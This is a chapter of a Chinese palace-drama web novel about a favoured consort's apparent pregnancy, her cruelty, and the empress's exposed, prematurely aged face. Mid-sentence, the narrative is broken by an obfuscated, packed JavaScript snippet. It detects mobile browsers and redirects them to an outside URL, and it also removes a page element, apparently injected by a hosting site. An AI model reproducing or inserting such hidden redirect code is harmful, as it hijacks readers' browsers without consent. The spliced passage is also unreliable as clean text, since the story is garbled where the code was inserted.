“她不敢。”亘安的话语冰冷得没有半点温度。他的手虽然还揽着李思然,但眼底却在李思然看不见的角落浮现出一抹隐晦的厌色。李思然发间喷洒的那种浓重且甜腻的秦国香料,此时在晚风中熏得他有些头晕。他忍住推开她的冲动,侧了侧身子,换了个坐姿。 然而,这般冷酷的回应落入李思然耳中,却成了她最满意的勋章。她心中雀跃不已,弯起那抹涂抹得鲜红的唇角,妩媚地一笑。她重新捏起一颗樱桃含入口中,缓缓凑近亘安的脸庞。 她两手轻勾住帝王的脖颈,整个人几乎是以一种极其暧昧的姿态贴了上去,在他耳畔低声呢喃:“皇上,这樱桃甜得很,是臣妾亲自选的,臣妾来服侍您尝尝滋味~” 说话间,她那灵巧的指尖看似不经意地在自己的前襟上一挑。由于是私下相处,她本就穿得轻薄,这一挑之下,衣衫半褪,松松垮垮地挂在肩头。离她最近的亘安,只要轻轻一睨,便能将那春色尽收眼底。 她双唇含着那枚红果,正欲递过去。亘安眼角带笑,那笑容却像是一层浮在冰面上的光影,毫无温度。他搂着她的力道重了几分,似乎在配合这场名为“恩宠”的戏码。 身为奴才,李鹤深知这种时候多看一眼都是要掉脑袋的。他极其识相地转过身去,背对着看台,嘴里嘟囔着:“非礼勿视,非礼勿视,老奴这眼睛怕是要长针眼了。” 正当庆和宫的宫人们都在心中感叹淑妃手段了得时,空气中原本黏糊的娇笑声却戛然而止。 随之而来的,是几声极力隐忍却又狼狈不堪的干呕。 亘安眉头一蹙,迅速推开了那张正凑过来的红唇,也将手中的樱桃放回了银盘。他看着面色突然由红转白的李思然,沉声问道:“怎么了?身子不适?” 李思然坐回了铺着软垫的椅上,一只手紧紧捂着胸口,另一只手掩住口唇。方才那股翻江倒海的恶心感来得突兀而强烈,让她的面孔上浮现出明显的痛楚与困惑。 “臣妾……臣妾也不知是怎么了。近来胃口本就一般,方才那樱桃的甜味一冲,总是没来由地想吐,却又吐不出什么实物来……” 小娟忙不迭地递上温热的茶水。李思然刚饮下几口,小娟却像是想到了什么惊天动地的大事,忙凑近她耳边,极其快速地低语了几句。 李思然听着听着,整个人像是被施了定身法一般愣住了。紧接着,她眼波流转,面颊瞬间飞起两抹比刚才更艳的红霞。她缓缓抬起头,看向面前那个眉头紧皱的男人,唇角微翘,露出一副欲语还羞、忐忑中又带着狂喜的神情。 “皇上……臣妾这个月的信水,似乎已经慢了快有十日了。您说,臣妾会不会是……有了?” 李思然咬着唇,话未说尽,那双湿漉漉的杏眼却死死地盯着亘安的神色。在这深宫之中,她太清楚一个孩子意味着什么。大周的规矩虽重,长子必须嫡出,但若她能先一步诞下子嗣,母凭子贵,那凤椅上的人是谁,可就真的不一定了。 “李鹤,传太医。”亘安并没有露出李思然预想中的狂喜,他只是伸出手指,在她的脸颊上轻轻抚了抚。那种触感,更像是在确认一件瓷器的完整,“让整个太医院当值的太医,全都给朕过来。” “老奴领旨,这就派人去催。” 李鹤心中翻起滔天巨浪。皇上登基三载,膝下尤为空虚。若淑妃肚子里真怀上了龙种,这后宫的格局怕是顷刻间就要翻天覆地。他在离开前犹豫了片刻,还是转身低声吩咐一个小太监:“快,绕路去一趟凤仪宫,把这消息禀给皇后娘娘。” 看台上,李思然重重地倚在帝王怀中,指尖无意识地把玩着他腰间的龙纹玉扣,语气里藏不住的挑逗与试探:“若臣妾肚子里真的是皇上的血脉,皇上……皇上会让臣妾把他生下来的,对吗?” 她眼神忧郁地望着亘安。虽然如今她正受宠,但她也害怕。害怕这位素来冷酷的帝王会为了所谓的“皇室正统”,硬生生地夺走她的孩子。 “嗯?爱妃何出此言?”亘安不咸不淡地反问道。 见他不给个准话,李思然愈发惴惴不安,双手紧紧抓着他的明黄衣袖,声音微颤:“臣妾身份低微,自知嫡庶有别……但肚子里这终究是臣妾与皇上的骨肉。求皇上……别让他走,好不好?” 亘安那双深不见底的凤眸直勾勾地盯着眼前这张潸然落泪的脸。他在这一瞬间,试图从这张脸上看出一点除了对权势的渴求之外的真心,却一无所获。 “别胡思乱想。这宫里冷清得太久了,也确实该有个孩子的笑声了。”亘安终于开了口,语气平缓,“若真有了,那是大周的福气。朕会亲自吩咐皇后,让她在你待产期间悉心照料你的一切起居。你尽管待在庆和宫,安心养胎便是。” 李思然原本听着前半句,已经喜笑颜开。可当听到“皇后”二字时,嘴角的笑意骤然一僵,甚至有些扭曲:“皇后?” 亘安像是没察觉到她的抵触,重新拿起一颗樱桃送至她唇边:“怎么?皇后身为六宫之主,照料怀胎的妃嫔本就是理所当然。难道爱妃觉得有什么不妥?” “没……没有。臣妾只是惊讶,怕娘娘尊贵之躯,不肯屈就……” “朕亲自发话,她不肯也得肯。”亘安冷冷吐出几个字,那语气不像是对妻子的嘱托,倒更像是在安排一件工具。 李思然强挤出一抹笑咽下了那颗樱桃,却发现这贡果的滋味,竟变得苦涩难咽。 * 庆和宫淑妃有孕的消息,如同一阵飓风,瞬间刮遍了整座大周皇宫。 为了保住这可能是第一个皇嗣的胎,亘安不仅下旨御膳坊特派了专职厨子,每日变着花样给庆和宫进膳。太医更是两日一诊,每一道脉案都要专程送往朝阳殿与凤仪宫备份。 昔日只是承宠,今朝却是凭子而贵。李思然的脾气随着月份的增加,变得愈发不可理喻。她原本就尖酸刻薄,如今更是仗着胎气不稳,连一些低阶嫔妃也不放在眼里。 一日午后,凤仪宫的殿门被猛地推开。 襄嫔跌跌撞撞地哭着冲了进来,怀里还抱着被打散的发簪。她一进正殿便扑通一声跪在地上,拨开遮住额角的乱发。只见她头顶处有一块头皮竟然被生生扯掉了一撮头发,鲜血淋漓,露出白惨惨的头皮,看起来惨不忍睹。 “娘娘!您要为嫔妾做主啊!臣妾好歹也是皇上亲封的一宫嫔妃,淑妃她……她怎么能像对待粗使奴才一样,说打便打,还动手揪臣妾的头发……” 宁梓韵正坐在案前练字,听闻动静,握笔的手微微一顿。她看着襄嫔那张梨花带雨的脸,又看了看那骇人的伤口,眉心不自觉地蹙起。这李思然的“战力”,当真是随着肚子大起来,也跟着水涨船高。 “委屈妹妹了。本宫晚些时候会同皇上提及此事。这几日,你便待在屋里养伤,不要去庆和宫请安了。”宁梓韵语气平和,听不出多少波澜。 襄嫔显然对这轻飘飘的处理感到不满。宁梓韵心下叹息,朝青芜招了招手。 青芜很快领会,即刻呈上了一个精緻的小匣子。 “淑妃如今身子不稳,皇上那边也护得紧,你此时与她争执,讨不到好果子吃。”宁梓韵打开匣子,里面是两枚鸽血红宝石和一瓶太医特配的生肌膏,“这宝石你拿回去把玩,药膏也要记得日日涂抹,莫要留了疤。” 襄嫔家境贫寒,进宫后也一直受冷落,哪里见过这般剔透的宝石?那红得灼眼的宝光一晃,她心里的怨气竟也消了一半,只觉这一巴掌挨得倒也划算。 “皇后娘娘真是太宽厚了。可淑妃如今都快骑到您头上了,您怎么就一点也不生气?皇上甚至还让您去监督她的安胎事宜,这摆明了是在糟蹋您的身份……”襄嫔这番话,倒是说出了整个后宫的心声。 “本宫既然坐在皇后的位置上,照拂皇嗣、打理后宫本就是应当。生气能当饭吃吗?”宁梓韵缓缓起身。 青芜赶忙上前扶住她的手臂。宁梓韵此时戴着面纱,那双眼中的疲惫与枯竭,寻常人难以察觉,却逃不过朝夕相处的青芜。 “娘娘莫非是……长了什么疹子?”襄嫔临走前盯着那面纱,心中生疑,却不敢多嘴。 自李思然确认怀孕后,宁梓韵探望的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506785|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频率由五日一次改成了三日一至。这不仅仅是皇命,更是宁梓韵想亲眼确认,那个所谓的“皇嗣”到底有几分真假。 今日她踏入庆和宫,离得老远就听见了一连串刺耳的瓷器碎裂声。 “废物!你们这群没脑子的贱婢!本宫养你们是做什么的?连碗燕窝粥的火候都掌握不好,是想烫死本宫,还是想谋害本宫肚子里的皇子?” 李思然嚣张的声音在大厅里回荡。宁梓韵步入殿中时,正巧看见她狠命一脚踢在一名跪地求饶的宫人身上。 被踢的人竟是她昔日的贴身大宫女芬儿。芬儿被赶去外殿伺候后,日子过得极差,此时更是被踢得滚了两圈。 “尤其是你这贱蹄子!越长越回去了,办点事就只会哭,留你何用!”李思然骂得兴起,扬起手便要重重扇下去。 然而,那只手在半空中被一道微凉的力道稳稳截住了。 “是谁吃了熊心豹子胆,竟敢阻拦本宫教训奴才?”李思然怒火冲天地回头,在对上那双清冷如霜的眸子时,神情僵了一瞬。 “原来是皇后娘娘。臣妾失礼了。”李思然抽回手,皮笑肉不笑地整了整鬓发,语气阴阳怪气,“娘娘既然要过来,早些让人通知一声便是。也好叫臣妾手底下的人先收拾了这些污泥残局,省得娘娘看了笑话。” 这种满不在乎且透着不敬的语气,已然昭示了她对宁梓韵这位正宫娘皇后的蔑视。 宁梓韵淡淡地松开手,看也不看李思然那张得意的脸。她扫视了一眼乱糟糟的寝室,自顾自地在屋内唯一一把还算干净的椅子上坐下:“妹妹既然怀着身孕,太医应该嘱咐过无数次,静养为上,戒躁戒怒。怎的今日火气还是这般大?” 她的话语不急不慢,却自带一股上位者的压迫感。 “臣妾处置自家的奴才,那也是臣妾的私事。皇后娘娘管得未免有些太宽了。” 宁梓韵的目光落在地板上。那处,芬儿刚才跪着的地方,有几点被瓷片割出的、还没来得及擦拭的血迹。 “就当是为腹中的孩子积德吧。”宁梓韵轻叹一声,语气中带着几分无奈,“这宫里的怨气若是太重,即便去寒露寺助念千回,怕也是无济于事的。” “你——你敢诅咒我的孩子!” 李思然像是被戳中了某种痛脚,气极败坏之下,顺手抄起桌上仅剩的一个白瓷茶盞,想都没想便朝着宁梓韵的脸砸了过去。 那茶盏飞得极快。宁梓韵此时由于蛊毒入心,反应本就比常人慢了一拍。她只来得及侧过脸,那茶盏重重地擦过她的鬓角。 “啪”的一声,茶盏落地碎裂,而与此同时,系在宁梓韵耳后的那根丝线被硬生生扯断。 月影蝉翼面纱,就那样毫无遮掩地从她脸上飘落了下来。 宁梓韵心中一沉,本能地想伸手去挡,却还是迟了。 站在对面的李思然正大口喘着粗气,眼睛却在对上宁梓韻那一半脸颊时,猛地瞪圆了,瞳孔里写满了难以置信与毫不掩饰的惊悚。 就在宁梓韵那精致的下颌线上,一道如枯树皮般苍老、深刻的皱痕,此时在灯火下显得格外扎眼。那绝非二十出头女子该有的皮肤,倒像是一个年近半百的老妪,在那白皙的容颜上强行撕开了一个丑陋的缺口。 “你的脸……怎么会变成这副鬼样子?”李思然倒吸一口冷气,像是见到了这世间最恐怖的怪物,下意识地后退了两步。 “与你无关。”宁梓韵神情虽然微变,但动作依然优雅,迅速捡起面纱,在青芜冲上来护驾之前,重新将其系好。 青芜气得双眼发赤,死死拦在宁梓韵身前,恶狠狠地瞪着淑妃,随后才护着主子快步离去。 虽然当时屋内除了几个忠心的奴才外并无旁人,但在这皇宫大内,从来就没有真正能守住的秘密。不到两个时辰,一个比“淑妃有孕”还要惊人的消息,像长了翅膀一样传遍了每一个角落—— 宁皇后破相了。有人说是妖邪入体,有人说是遭了天谴。 * 朝阳殿。 殿内的香炉里冒着袅袅青烟。大太监李鹤正站在御案旁替亘安研墨。 虽然他的动作依旧老练熟稔,但只要细看便会发现,他的心神早已不在这里。他那双小眼睛不断地瞟向门口,手中的墨錠在砚台上磨出了细微的杂音,甚至有一滴墨汁不慎溅出,染黑了那张刚写了一半的宣纸。 “在朕面前还敢如此分神。李鹤,看来朕这阵子是待你太宽厚了,让你忘了规矩?”亘安忽然搁下了手中的狼毫笔,声音冷得不带一丝温度。 “皇上息怒!皇上饶命!” 李鹤双膝一软,“啪”的一声跪在地上。他那求饶的姿态做得极顺,满脸的惊恐与懊悔,“老奴……老奴该死,惊扰了皇上。” “说吧。后宫又出了什么天塌下来的事,能让你这大总管都乱了阵脚?” 亘安背靠在金漆御座上。他的语气虽然轻,却带着一种刀锋贴近咽喉般的压迫感。 李鹤埋着头,死死盯着地砖上的墨迹。他的眼珠转了又转,喉结上下滚动,终究是没敢立刻开口。 “说。”亘安眉目一沉,直接抬起脚,重重踢在李鹤的小腿上。 李鹤一个趔趄,差点趴在地上。他知道再也瞒不住,这才颤颤巍巍地开了口:“回……回皇上的话。现下……现下后宫里传得沸沸扬扬,都说皇上与皇后娘娘感情失和……是因为娘娘……脸上破了相” 亘安原本只是斜倚着,听完这句话,面色并无太大波澜,只是淡淡地点了点头。 “朕与她感情不睦是真。但——破相?这是从何说起?” 话音刚落,亘安像是突然意识到了什么,他的眸光骤然转冷,那种杀气腾腾的眼神让周围的空气都下降了几度。他猛地伸手,一把拎起李鹤的后颈领子,像是拎起一只失职的猎犬。 “你给朕说清楚。到底是怎么回事?破了相……是什么样的相?” 李鹤吓得浑身哆嗦,牙关直打架。他的小脑袋瓜飞速旋转着,在那“真话”与“假话”之间拼死挣扎。他想起了宁梓韵那双哀戚的眼,也想起了那夜朝阳殿的情蛊转移。 这真话,是能要命的啊。